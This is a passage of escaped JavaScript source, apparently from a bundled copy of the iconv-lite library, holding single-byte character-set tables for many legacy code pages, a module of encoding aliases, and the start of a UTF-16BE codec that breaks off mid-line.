\"ÇüéâäàåçêëèÐðÞÄÅÉæÆôöþûÝýÖÜø£Ø₧ƒáíóúÁÍÓÚ¿⌐¬½¼¡«»░▒▓│┤╡╢╖╕╣║╗╝╜╛┐└┴┬├─┼╞╟╚╔╩╦╠═╬╧╨╤╥╙╘╒╓╫╪┘┌█▄▌▐▀αßΓπΣσµτΦΘΩδ∞φε∩≡±≥≤⌠⌡÷≈°∙·√ⁿ²■ \"\n },\n \"ibm861\": \"cp861\",\n \"csibm861\": \"cp861\",\n \"cp862\": {\n \"type\": \"_sbcs\",\n \"chars\": \"אבגדהוזחטיךכלםמןנסעףפץצקרשת¢£¥₧ƒáíóúñѪº¿⌐¬½¼¡«»░▒▓│┤╡╢╖╕╣║╗╝╜╛┐└┴┬├─┼╞╟╚╔╩╦╠═╬╧╨╤╥╙╘╒╓╫╪┘┌█▄▌▐▀αßΓπΣσµτΦΘΩδ∞φε∩≡±≥≤⌠⌡÷≈°∙·√ⁿ²■ \"\n },\n \"ibm862\": \"cp862\",\n \"csibm862\": \"cp862\",\n \"cp863\": {\n \"type\": \"_sbcs\",\n \"chars\": \"ÇüéâÂà¶çêëèïî‗À§ÉÈÊôËÏûù¤ÔÜ¢£ÙÛƒ¦´óú¨¸³¯Î⌐¬½¼¾«»░▒▓│┤╡╢╖╕╣║╗╝╜╛┐└┴┬├─┼╞╟╚╔╩╦╠═╬╧╨╤╥╙╘╒╓╫╪┘┌█▄▌▐▀αßΓπΣσµτΦΘΩδ∞φε∩≡±≥≤⌠⌡÷≈°∙·√ⁿ²■ \"\n },\n \"ibm863\": \"cp863\",\n \"csibm863\": \"cp863\",\n \"cp864\": {\n \"type\": \"_sbcs\",\n \"chars\": \"\\u0000\\u0001\\u0002\\u0003\\u0004\\u0005\\u0006\\u0007\\b\\t\\n\\u000b\\f\\r\\u000e\\u000f\\u0010\\u0011\\u0012\\u0013\\u0014\\u0015\\u0016\\u0017\\u0018\\u0019\\u001a\\u001b\\u001c\\u001d\\u001e\\u001f !\\\"#$٪&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\\\]^_`abcdefghijklmnopqrstuvwxyz{|}~°·∙√▒─│┼┤┬├┴┐┌└┘β∞φ±½¼≈«»ﻷﻸ��ﻻﻼ� ­ﺂ£¤ﺄ��ﺎﺏﺕﺙ،ﺝﺡﺥ٠١٢٣٤٥٦٧٨٩ﻑ؛ﺱﺵﺹ؟¢ﺀﺁﺃﺅﻊﺋﺍﺑﺓﺗﺛﺟﺣﺧﺩﺫﺭﺯﺳﺷﺻﺿﻁﻅﻋﻏ¦¬÷×ﻉـﻓﻗﻛﻟﻣﻧﻫﻭﻯﻳﺽﻌﻎﻍﻡﹽّﻥﻩﻬﻰﻲﻐﻕﻵﻶﻝﻙﻱ■�\"\n },\n \"ibm864\": \"cp864\",\n \"csibm864\": \"cp864\",\n \"cp865\": {\n \"type\": \"_sbcs\",\n \"chars\": \"ÇüéâäàåçêëèïîìÄÅÉæÆôöòûùÿÖÜø£Ø₧ƒáíóúñѪº¿⌐¬½¼¡«¤░▒▓│┤╡╢╖╕╣║╗╝╜╛┐└┴┬├─┼╞╟╚╔╩╦╠═╬╧╨╤╥╙╘╒╓╫╪┘┌█▄▌▐▀αßΓπΣσµτΦΘΩδ∞φε∩≡±≥≤⌠⌡÷≈°∙·√ⁿ²■ \"\n },\n \"ibm865\": \"cp865\",\n \"csibm865\": \"cp865\",\n \"cp866\": {\n \"type\": \"_sbcs\",\n \"chars\": \"АБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯабвгдежзийклмноп░▒▓│┤╡╢╖╕╣║╗╝╜╛┐└┴┬├─┼╞╟╚╔╩╦╠═╬╧╨╤╥╙╘╒╓╫╪┘┌█▄▌▐▀рстуфхцчшщъыьэюяЁёЄєЇїЎў°∙·√№¤■ \"\n },\n \"ibm866\": \"cp866\",\n \"csibm866\": \"cp866\",\n \"cp869\": {\n \"type\": \"_sbcs\",\n \"chars\": \"������Ά�·¬¦‘’Έ―ΉΊΪΌ��ΎΫ©Ώ²³ά£έήίϊΐόύΑΒΓΔΕΖΗ½ΘΙ«»░▒▓│┤ΚΛΜΝ╣║╗╝ΞΟ┐└┴┬├─┼ΠΡ╚╔╩╦╠═╬ΣΤΥΦΧΨΩαβγ┘┌█▄δε▀ζηθικλμνξοπρσςτ΄­±υφχ§ψ΅°¨ωϋΰώ■ \"\n },\n \"ibm869\": \"cp869\",\n \"csibm869\": \"cp869\",\n \"cp922\": {\n \"type\": \"_sbcs\",\n \"chars\": \"€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬­®‾°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏŠÑÒÓÔÕÖרÙÚÛÜÝŽßàáâãäåæçèéêëìíîïšñòóôõö÷øùúûüýžÿ\"\n },\n \"ibm922\": \"cp922\",\n \"csibm922\": \"cp922\",\n \"cp1046\": {\n \"type\": \"_sbcs\",\n \"chars\": \"ﺈ×÷ﹱˆ■│─┐┌└┘ﹹﹻﹽﹿﹷﺊﻰﻳﻲﻎﻏﻐﻶﻸﻺﻼ ¤ﺋﺑﺗﺛﺟﺣ،­ﺧﺳ٠١٢٣٤٥٦٧٨٩ﺷ؛ﺻﺿﻊ؟ﻋءآأؤإئابةتثجحخدذرزسشصضطﻇعغﻌﺂﺄﺎﻓـفقكلمنهوىيًٌٍَُِّْﻗﻛﻟﻵﻷﻹﻻﻣﻧﻬﻩ�\"\n },\n \"ibm1046\": \"cp1046\",\n \"csibm1046\": \"cp1046\",\n \"cp1124\": {\n \"type\": \"_sbcs\",\n \"chars\": \"€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ЁЂҐЄЅІЇЈЉЊЋЌ­ЎЏАБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯабвгдежзийклмнопрстуфхцчшщъыьэюя№ёђґєѕіїјљњћќ§ўџ\"\n },\n \"ibm1124\": \"cp1124\",\n \"csibm1124\": \"cp1124\",\n \"cp1125\": {\n \"type\": \"_sbcs\",\n \"chars\": \"АБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯабвгдежзийклмноп░▒▓│┤╡╢╖╕╣║╗╝╜╛┐└┴┬├─┼╞╟╚╔╩╦╠═╬╧╨╤╥╙╘╒╓╫╪┘┌█▄▌▐▀рстуфхцчшщъыьэюяЁёҐґЄєІіЇї·√№¤■ \"\n },\n \"ibm1125\": \"cp1125\",\n \"csibm1125\": \"cp1125\",\n \"cp1129\": {\n \"type\": \"_sbcs\",\n \"chars\": \"€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§œ©ª«¬­®¯°±²³Ÿµ¶·Œ¹º»¼½¾¿ÀÁÂĂÄÅÆÇÈÉÊË̀ÍÎÏĐÑ̉ÓÔƠÖרÙÚÛÜỮßàáâăäåæçèéêë́íîïđṇ̃óôơö÷øùúûüư₫ÿ\"\n },\n \"ibm1129\": \"cp1129\",\n \"csibm1129\": \"cp1129\",\n \"cp1133\": {\n \"type\": \"_sbcs\",\n \"chars\": \"€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ກຂຄງຈສຊຍດຕຖທນບປຜຝພຟມຢຣລວຫອຮ���ຯະາຳິີຶືຸູຼັົຽ���ເແໂໃໄ່້໊໋໌ໍໆ�ໜໝ₭����������������໐໑໒໓໔໕໖໗໘໙��¢¬¦�\"\n },\n \"ibm1133\": \"cp1133\",\n \"csibm1133\": \"cp1133\",\n \"cp1161\": {\n \"type\": \"_sbcs\",\n \"chars\": \"��������������������������������่กขฃคฅฆงจฉชซฌญฎฏฐฑฒณดตถทธนบปผฝพฟภมยรฤลฦวศษสหฬอฮฯะัาำิีึืฺุู้๊๋€฿เแโใไๅๆ็่้๊๋์ํ๎๏๐๑๒๓๔๕๖๗๘๙๚๛¢¬¦ \"\n },\n \"ibm1161\": \"cp1161\",\n \"csibm1161\": \"cp1161\",\n \"cp1162\": {\n \"type\": \"_sbcs\",\n \"chars\": \"€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ กขฃคฅฆงจฉชซฌญฎฏฐฑฒณดตถทธนบปผฝพฟภมยรฤลฦวศษสหฬอฮฯะัาำิีึืฺุู����฿เแโใไๅๆ็่้๊๋์ํ๎๏๐๑๒๓๔๕๖๗๘๙๚๛����\"\n },\n \"ibm1162\": \"cp1162\",\n \"csibm1162\": \"cp1162\",\n \"cp1163\": {\n \"type\": \"_sbcs\",\n \"chars\": \"€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£€¥¦§œ©ª«¬­®¯°±²³Ÿµ¶·Œ¹º»¼½¾¿ÀÁÂĂÄÅÆÇÈÉÊË̀ÍÎÏĐÑ̉ÓÔƠÖרÙÚÛÜỮßàáâăäåæçèéêë́íîïđṇ̃óôơö÷øùúûüư₫ÿ\"\n },\n \"ibm1163\": \"cp1163\",\n \"csibm1163\": \"cp1163\",\n \"maccroatian\": {\n \"type\": \"_sbcs\",\n \"chars\": \"ÄÅÇÉÑÖÜáàâäãåçéèêëíìîïñóòôöõúùûü†°¢£§•¶ß®Š™´¨≠ŽØ∞±≤≥∆µ∂∑∏š∫ªºΩžø¿¡¬√ƒ≈ƫȅ ÀÃÕŒœĐ—“”‘’÷◊�©⁄¤‹›Æ»–·‚„‰ÂćÁčÈÍÎÏÌÓÔđÒÚÛÙıˆ˜¯πË˚¸Êæˇ\"\n },\n \"maccyrillic\": {\n \"type\": \"_sbcs\",\n \"chars\": \"АБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ†°¢£§•¶І®©™Ђђ≠Ѓѓ∞±≤≥іµ∂ЈЄєЇїЉљЊњјЅ¬√ƒ≈∆«»… ЋћЌќѕ–—“”‘’÷„ЎўЏџ№Ёёяабвгдежзийклмнопрстуфхцчшщъыьэю¤\"\n },\n \"macgreek\": {\n \"type\": \"_sbcs\",\n \"chars\": \"Ĺ²É³ÖÜ΅àâä΄¨çéèê룙î‰ôö¦­ùûü†ΓΔΘΛΞΠß®©ΣΪ§≠°·Α±≤≥¥ΒΕΖΗΙΚΜΦΫΨΩάΝ¬ΟΡ≈Τ«»… ΥΧΆΈœ–―“”‘’÷ΉΊΌΎέήίόΏύαβψδεφγηιξκλμνοπώρστθωςχυζϊϋΐΰ�\"\n },\n \"maciceland\": {\n \"type\": \"_sbcs\",\n \"chars\": \"ÄÅÇÉÑÖÜáàâäãåçéèêëíìîïñóòôöõúùûüݰ¢£§•¶ß®©™´¨≠ÆØ∞±≤≥¥µ∂∑∏π∫ªºΩæø¿¡¬√ƒ≈∆«»… ÀÃÕŒœ–—“”‘’÷◊ÿŸ⁄¤ÐðÞþý·‚„‰ÂÊÁËÈÍÎÏÌÓÔ�ÒÚÛÙıˆ˜¯˘˙˚¸˝˛ˇ\"\n },\n \"macroman\": {\n \"type\": \"_sbcs\",\n \"chars\": \"ÄÅÇÉÑÖÜáàâäãåçéèêëíìîïñóòôöõúùûü†°¢£§•¶ß®©™´¨≠ÆØ∞±≤≥¥µ∂∑∏π∫ªºΩæø¿¡¬√ƒ≈∆«»… ÀÃÕŒœ–—“”‘’÷◊ÿŸ⁄¤‹›fifl‡·‚„‰ÂÊÁËÈÍÎÏÌÓÔ�ÒÚÛÙıˆ˜¯˘˙˚¸˝˛ˇ\"\n },\n \"macromania\": {\n \"type\": \"_sbcs\",\n \"chars\": \"ÄÅÇÉÑÖÜáàâäãåçéèêëíìîïñóòôöõúùûü†°¢£§•¶ß®©™´¨≠ĂŞ∞±≤≥¥µ∂∑∏π∫ªºΩăş¿¡¬√ƒ≈∆«»… ÀÃÕŒœ–—“”‘’÷◊ÿŸ⁄¤‹›Ţţ‡·‚„‰ÂÊÁËÈÍÎÏÌÓÔ�ÒÚÛÙıˆ˜¯˘˙˚¸˝˛ˇ\"\n },\n \"macthai\": {\n \"type\": \"_sbcs\",\n \"chars\": \"«»…“”�•‘’� กขฃคฅฆงจฉชซฌญฎฏฐฑฒณดตถทธนบปผฝพฟภมยรฤลฦวศษสหฬอฮฯะัาำิีึืฺุู​–—฿เแโใไๅๆ็่้๊๋์ํ™๏๐๑๒๓๔๕๖๗๘๙®©����\"\n },\n \"macturkish\": {\n \"type\": \"_sbcs\",\n \"chars\": \"ÄÅÇÉÑÖÜáàâäãåçéèêëíìîïñóòôöõúùûü†°¢£§•¶ß®©™´¨≠ÆØ∞±≤≥¥µ∂∑∏π∫ªºΩæø¿¡¬√ƒ≈∆«»… ÀÃÕŒœ–—“”‘’÷◊ÿŸĞğİıŞş‡·‚„‰ÂÊÁËÈÍÎÏÌÓÔ�ÒÚÛÙ�ˆ˜¯˘˙˚¸˝˛ˇ\"\n },\n \"macukraine\": {\n \"type\": \"_sbcs\",\n \"chars\": \"АБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ†°Ґ£§•¶І®©™Ђђ≠Ѓѓ∞±≤≥іµґЈЄєЇїЉљЊњјЅ¬√ƒ≈∆«»… ЋћЌќѕ–—“”‘’÷„ЎўЏџ№Ёёяабвгдежзийклмнопрстуфхцчшщъыьэю¤\"\n },\n \"koi8r\": {\n \"type\": \"_sbcs\",\n \"chars\": \"─│┌┐└┘├┤┬┴┼▀▄█▌▐░▒▓⌠■∙√≈≤≥ ⌡°²·÷═║╒ё╓╔╕╖╗╘╙╚╛╜╝╞╟╠╡Ё╢╣╤╥╦╧╨╩╪╫╬©юабцдефгхийклмнопярстужвьызшэщчъЮАБЦДЕФГХИЙКЛМНОПЯРСТУЖВЬЫЗШЭЩЧЪ\"\n },\n \"koi8u\": {\n \"type\": \"_sbcs\",\n \"chars\": \"─│┌┐└┘├┤┬┴┼▀▄█▌▐░▒▓⌠■∙√≈≤≥ ⌡°²·÷═║╒ёє╔ії╗╘╙╚╛ґ╝╞╟╠╡ЁЄ╣ІЇ╦╧╨╩╪Ґ╬©юабцдефгхийклмнопярстужвьызшэщчъЮАБЦДЕФГХИЙКЛМНОПЯРСТУЖВЬЫЗШЭЩЧЪ\"\n },\n \"koi8ru\": {\n \"type\": \"_sbcs\",\n \"chars\": \"─│┌┐└┘├┤┬┴┼▀▄█▌▐░▒▓⌠■∙√≈≤≥ ⌡°²·÷═║╒ёє╔ії╗╘╙╚╛ґў╞╟╠╡ЁЄ╣ІЇ╦╧╨╩╪ҐЎ©юабцдефгхийклмнопярстужвьызшэщчъЮАБЦДЕФГХИЙКЛМНОПЯРСТУЖВЬЫЗШЭЩЧЪ\"\n },\n \"koi8t\": {\n \"type\": \"_sbcs\",\n \"chars\": \"қғ‚Ғ„…†‡�‰ҳ‹ҲҷҶ�Қ‘’“”•–—�™�›�����ӯӮё¤ӣ¦§���«¬­®�°±²Ё�Ӣ¶·�№�»���©юабцдефгхийклмнопярстужвьызшэщчъЮАБЦДЕФГХИЙКЛМНОПЯРСТУЖВЬЫЗШЭЩЧЪ\"\n },\n \"armscii8\": {\n \"type\": \"_sbcs\",\n \"chars\": \"€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ �և։)(»«—.՝,-֊…՜՛՞ԱաԲբԳգԴդԵեԶզԷէԸըԹթԺժԻիԼլԽխԾծԿկՀհՁձՂղՃճՄմՅյՆնՇշՈոՉչՊպՋջՌռՍսՎվՏտՐրՑցՒւՓփՔքՕօՖֆ՚�\"\n },\n \"rk1048\": {\n \"type\": \"_sbcs\",\n \"chars\": \"ЂЃ‚ѓ„…†‡€‰Љ‹ЊҚҺЏђ‘’“”•–—�™љ›њқһџ ҰұӘ¤Ө¦§Ё©Ғ«¬­®Ү°±Ііөµ¶·ё№ғ»әҢңүАБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯабвгдежзийклмнопрстуфхцчшщъыьэюя\"\n },\n \"tcvn\": {\n \"type\": \"_sbcs\",\n \"chars\": \"\\u0000ÚỤ\\u0003ỪỬỮ\\u0007\\b\\t\\n\\u000b\\f\\r\\u000e\\u000f\\u0010ỨỰỲỶỸÝỴ\\u0018\\u0019\\u001a\\u001b\\u001c\\u001d\\u001e\\u001f !\\\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\\\]^_`abcdefghijklmnopqrstuvwxyz{|}~ÀẢÃÁẠẶẬÈẺẼÉẸỆÌỈĨÍỊÒỎÕÓỌỘỜỞỠỚỢÙỦŨ ĂÂÊÔƠƯĐăâêôơưđẶ̀̀̉̃́àảãáạẲằẳẵắẴẮẦẨẪẤỀặầẩẫấậèỂẻẽéẹềểễếệìỉỄẾỒĩíịòỔỏõóọồổỗốộờởỡớợùỖủũúụừửữứựỳỷỹýỵỐ\"\n },\n \"georgianacademy\": {\n \"type\": \"_sbcs\",\n \"chars\": \"€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿აბგდევზთიკლმნოპჟრსტუფქღყშჩცძწჭხჯჰჱჲჳჴჵჶçèéêëìíîïðñòóôõö÷øùúûüýþÿ\"\n },\n \"georgianps\": {\n \"type\": \"_sbcs\",\n \"chars\": \"€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿აბგდევზჱთიკლმნჲოპჟრსტჳუფქღყშჩცძწჭხჴჯჰჵæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\"\n },\n \"pt154\": {\n \"type\": \"_sbcs\",\n \"chars\": \"ҖҒӮғ„…ҶҮҲүҠӢҢҚҺҸҗ‘’“”•–—ҳҷҡӣңқһҹ ЎўЈӨҘҰ§Ё©Ә«¬ӯ®Ҝ°ұІіҙө¶·ё№ә»јҪҫҝАБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯабвгдежзийклмнопрстуфхцчшщъыьэюя\"\n },\n \"viscii\": {\n \"type\": \"_sbcs\",\n \"chars\": \"\\u0000\\u0001Ẳ\\u0003\\u0004ẴẪ\\u0007\\b\\t\\n\\u000b\\f\\r\\u000e\\u000f\\u0010\\u0011\\u0012\\u0013Ỷ\\u0015\\u0016\\u0017\\u0018Ỹ\\u001a\\u001b\\u001c\\u001dỴ\\u001f !\\\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\\\]^_`abcdefghijklmnopqrstuvwxyz{|}~ẠẮẰẶẤẦẨẬẼẸẾỀỂỄỆỐỒỔỖỘỢỚỜỞỊỎỌỈỦŨỤỲÕắằặấầẩậẽẹếềểễệốồổỗỠƠộờởịỰỨỪỬơớƯÀÁÂÃẢĂẳẵÈÉÊẺÌÍĨỳĐứÒÓÔạỷừửÙÚỹỵÝỡưàáâãảăữẫèéêẻìíĩỉđựòóôõỏọụùúũủýợỮ\"\n },\n \"iso646cn\": {\n \"type\": \"_sbcs\",\n \"chars\": \"\\u0000\\u0001\\u0002\\u0003\\u0004\\u0005\\u0006\\u0007\\b\\t\\n\\u000b\\f\\r\\u000e\\u000f\\u0010\\u0011\\u0012\\u0013\\u0014\\u0015\\u0016\\u0017\\u0018\\u0019\\u001a\\u001b\\u001c\\u001d\\u001e\\u001f !\\\"#¥%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\\\]^_`abcdefghijklmnopqrstuvwxyz{|}‾��������������������������������������������������������������������������������������������������������������������������������\"\n },\n \"iso646jp\": {\n \"type\": \"_sbcs\",\n \"chars\": \"\\u0000\\u0001\\u0002\\u0003\\u0004\\u0005\\u0006\\u0007\\b\\t\\n\\u000b\\f\\r\\u000e\\u000f\\u0010\\u0011\\u0012\\u0013\\u0014\\u0015\\u0016\\u0017\\u0018\\u0019\\u001a\\u001b\\u001c\\u001d\\u001e\\u001f !\\\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[¥]^_`abcdefghijklmnopqrstuvwxyz{|}‾��������������������������������������������������������������������������������������������������������������������������������\"\n },\n \"hproman8\": {\n \"type\": \"_sbcs\",\n \"chars\": \"€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ÀÂÈÊËÎÏ´ˋˆ¨˜ÙÛ₤¯Ýý°ÇçÑñ¡¿¤£¥§ƒ¢âêôûáéóúàèòùäëöüÅîØÆåíøæÄìÖÜÉïßÔÁÃãÐðÍÌÓÒÕõŠšÚŸÿÞþ·µ¶¾—¼½ªº«■»±�\"\n },\n \"macintosh\": {\n \"type\": \"_sbcs\",\n \"chars\": \"ÄÅÇÉÑÖÜáàâäãåçéèêëíìîïñóòôöõúùûü†°¢£§•¶ß®©™´¨≠ÆØ∞±≤≥¥µ∂∑∏π∫ªºΩæø¿¡¬√ƒ≈∆«»… ÀÃÕŒœ–—“”‘’÷◊ÿŸ⁄¤‹›fifl‡·‚„‰ÂÊÁËÈÍÎÏÌÓÔ�ÒÚÛÙıˆ˜¯˘˙˚¸˝˛ˇ\"\n },\n \"ascii\": {\n \"type\": \"_sbcs\",\n \"chars\": \"��������������������������������������������������������������������������������������������������������������������������������\"\n },\n \"tis620\": {\n \"type\": \"_sbcs\",\n \"chars\": \"���������������������������������กขฃคฅฆงจฉชซฌญฎฏฐฑฒณดตถทธนบปผฝพฟภมยรฤลฦวศษสหฬอฮฯะัาำิีึืฺุู����฿เแโใไๅๆ็่้๊๋์ํ๎๏๐๑๒๓๔๕๖๗๘๙๚๛����\"\n }\n}","\"use strict\";\n\n// Manually added data to be used by sbcs codec in addition to generated one.\n\nmodule.exports = {\n // Not supported by iconv, not sure why.\n \"10029\": \"maccenteuro\",\n \"maccenteuro\": {\n \"type\": \"_sbcs\",\n \"chars\": \"ÄĀāÉĄÖÜáąČäčĆć鏟ĎíďĒēĖóėôöõúĚěü†°Ę£§•¶ß®©™ę¨≠ģĮįĪ≤≥īĶ∂∑łĻļĽľĹĺŅņѬ√ńŇ∆«»… ňŐÕőŌ–—“”‘’÷◊ōŔŕŘ‹›řŖŗŠ‚„šŚśÁŤťÍŽžŪÓÔūŮÚůŰűŲųÝýķŻŁżĢˇ\"\n },\n\n \"808\": \"cp808\",\n \"ibm808\": \"cp808\",\n \"cp808\": {\n \"type\": \"_sbcs\",\n \"chars\": \"АБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯабвгдежзийклмноп░▒▓│┤╡╢╖╕╣║╗╝╜╛┐└┴┬├─┼╞╟╚╔╩╦╠═╬╧╨╤╥╙╘╒╓╫╪┘┌█▄▌▐▀рстуфхцчшщъыьэюяЁёЄєЇїЎў°∙·√№€■ \"\n },\n\n \"mik\": {\n \"type\": \"_sbcs\",\n \"chars\": \"АБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯабвгдежзийклмнопрстуфхцчшщъыьэюя└┴┬├─┼╣║╚╔╩╦╠═╬┐░▒▓│┤№§╗╝┘┌█▄▌▐▀αßΓπΣσµτΦΘΩδ∞φε∩≡±≥≤⌠⌡÷≈°∙·√ⁿ²■ \"\n },\n\n \"cp720\": {\n \"type\": \"_sbcs\",\n \"chars\": \"\\x80\\x81éâ\\x84à\\x86çêëèïî\\x8d\\x8e\\x8f\\x90\\u0651\\u0652ô¤ـûùءآأؤ£إئابةتثجحخدذرزسشص«»░▒▓│┤╡╢╖╕╣║╗╝╜╛┐└┴┬├─┼╞╟╚╔╩╦╠═╬╧╨╤╥╙╘╒╓╫╪┘┌█▄▌▐▀ضطظعغفµقكلمنهوىي≡\\u064b\\u064c\\u064d\\u064e\\u064f\\u0650≈°∙·√ⁿ²■\\u00a0\"\n },\n\n // Aliases of generated encodings.\n \"ascii8bit\": \"ascii\",\n \"usascii\": \"ascii\",\n \"ansix34\": \"ascii\",\n \"ansix341968\": \"ascii\",\n \"ansix341986\": \"ascii\",\n \"csascii\": \"ascii\",\n \"cp367\": \"ascii\",\n \"ibm367\": \"ascii\",\n \"isoir6\": \"ascii\",\n \"iso646us\": \"ascii\",\n \"iso646irv\": \"ascii\",\n \"us\": \"ascii\",\n\n \"latin1\": \"iso88591\",\n \"latin2\": \"iso88592\",\n \"latin3\": \"iso88593\",\n \"latin4\": \"iso88594\",\n \"latin5\": \"iso88599\",\n \"latin6\": \"iso885910\",\n \"latin7\": \"iso885913\",\n \"latin8\": \"iso885914\",\n \"latin9\": \"iso885915\",\n \"latin10\": \"iso885916\",\n\n \"csisolatin1\": \"iso88591\",\n \"csisolatin2\": \"iso88592\",\n \"csisolatin3\": \"iso88593\",\n \"csisolatin4\": \"iso88594\",\n \"csisolatincyrillic\": \"iso88595\",\n \"csisolatinarabic\": \"iso88596\",\n \"csisolatingreek\" : \"iso88597\",\n \"csisolatinhebrew\": \"iso88598\",\n \"csisolatin5\": \"iso88599\",\n \"csisolatin6\": \"iso885910\",\n\n \"l1\": \"iso88591\",\n \"l2\": \"iso88592\",\n \"l3\": \"iso88593\",\n \"l4\": \"iso88594\",\n \"l5\": \"iso88599\",\n \"l6\": \"iso885910\",\n \"l7\": \"iso885913\",\n \"l8\": \"iso885914\",\n \"l9\": \"iso885915\",\n \"l10\": \"iso885916\",\n\n \"isoir14\": \"iso646jp\",\n \"isoir57\": \"iso646cn\",\n \"isoir100\": \"iso88591\",\n \"isoir101\": \"iso88592\",\n \"isoir109\": \"iso88593\",\n \"isoir110\": \"iso88594\",\n \"isoir144\": \"iso88595\",\n \"isoir127\": \"iso88596\",\n \"isoir126\": \"iso88597\",\n \"isoir138\": \"iso88598\",\n \"isoir148\": \"iso88599\",\n \"isoir157\": \"iso885910\",\n \"isoir166\": \"tis620\",\n \"isoir179\": \"iso885913\",\n \"isoir199\": \"iso885914\",\n \"isoir203\": \"iso885915\",\n \"isoir226\": \"iso885916\",\n\n \"cp819\": \"iso88591\",\n \"ibm819\": \"iso88591\",\n\n \"cyrillic\": \"iso88595\",\n\n \"arabic\": \"iso88596\",\n \"arabic8\": \"iso88596\",\n \"ecma114\": \"iso88596\",\n \"asmo708\": \"iso88596\",\n\n \"greek\" : \"iso88597\",\n \"greek8\" : \"iso88597\",\n \"ecma118\" : \"iso88597\",\n \"elot928\" : \"iso88597\",\n\n \"hebrew\": \"iso88598\",\n \"hebrew8\": \"iso88598\",\n\n \"turkish\": \"iso88599\",\n \"turkish8\": \"iso88599\",\n\n \"thai\": \"iso885911\",\n \"thai8\": \"iso885911\",\n\n \"celtic\": \"iso885914\",\n \"celtic8\": \"iso885914\",\n \"isoceltic\": \"iso885914\",\n\n \"tis6200\": \"tis620\",\n \"tis62025291\": \"tis620\",\n \"tis62025330\": \"tis620\",\n\n \"10000\": \"macroman\",\n \"10006\": \"macgreek\",\n \"10007\": \"maccyrillic\",\n \"10079\": \"maciceland\",\n \"10081\": \"macturkish\",\n\n \"cspc8codepage437\": \"cp437\",\n \"cspc775baltic\": \"cp775\",\n \"cspc850multilingual\": \"cp850\",\n \"cspcp852\": \"cp852\",\n \"cspc862latinhebrew\": \"cp862\",\n \"cpgr\": \"cp869\",\n\n \"msee\": \"cp1250\",\n \"mscyrl\": \"cp1251\",\n \"msansi\": \"cp1252\",\n \"msgreek\": \"cp1253\",\n \"msturk\": \"cp1254\",\n \"mshebr\": \"cp1255\",\n \"msarab\": \"cp1256\",\n \"winbaltrim\": \"cp1257\",\n\n \"cp20866\": \"koi8r\",\n \"20866\": \"koi8r\",\n \"ibm878\": \"koi8r\",\n \"cskoi8r\": \"koi8r\",\n\n \"cp21866\": \"koi8u\",\n \"21866\": \"koi8u\",\n \"ibm1168\": \"koi8u\",\n\n \"strk10482002\": \"rk1048\",\n\n \"tcvn5712\": \"tcvn\",\n \"tcvn57121\": \"tcvn\",\n\n \"gb198880\": \"iso646cn\",\n \"cn\": \"iso646cn\",\n\n \"csiso14jisc6220ro\": \"iso646jp\",\n \"jisc62201969ro\": \"iso646jp\",\n \"jp\": \"iso646jp\",\n\n \"cshproman8\": \"hproman8\",\n \"r8\": \"hproman8\",\n \"roman8\": \"hproman8\",\n \"xroman8\": \"hproman8\",\n \"ibm1051\": \"hproman8\",\n\n \"mac\": \"macintosh\",\n \"csmacintosh\": \"macintosh\",\n};\n\n","\"use strict\";\nvar Buffer = require(\"safer-buffer\").Buffer;\n\n// Note: UTF16-LE (or UCS2) codec is Node.js native. See encodings/internal.js\n\n// == UTF16-BE codec. ==========================================================\n\nexports.utf16be = Utf16BECodec;\nfunction Utf16BECodec() {\n}\n\nUtf16BECodec.prototype.encoder = Utf16BEEncoder;\nUtf16BECodec.prototype.decoder = Utf16BEDecoder;\nUtf16BECodec.prototype.bomAware = true;\n\n\n// -- Encoding\n\nfunction Utf16BEEncoder() {\n}\n\nUtf16BEEncoder.prototype.write = function(str) {\n var buf = Buffer.from(str, 'ucs2');\n for (var i = 0; i < buf.length; i += 2) {\n var tmp = buf[i]; buf[i] = buf[i+1]; buf[i+1] = tmp;\n }\n return buf;\n}\n\nUtf16BEEncoder.prototype.end = function() {\n}\n\n\n// -- Decoding\n\nfunction Utf16BEDecoder() {\n this.overflowByte = -1;\n}\n\nUtf16BEDecoder.prototype.write = function(buf) {\n if (buf.length == 0)\n return '';\n\n var buf2 = Buffer.alloc(buf.length + 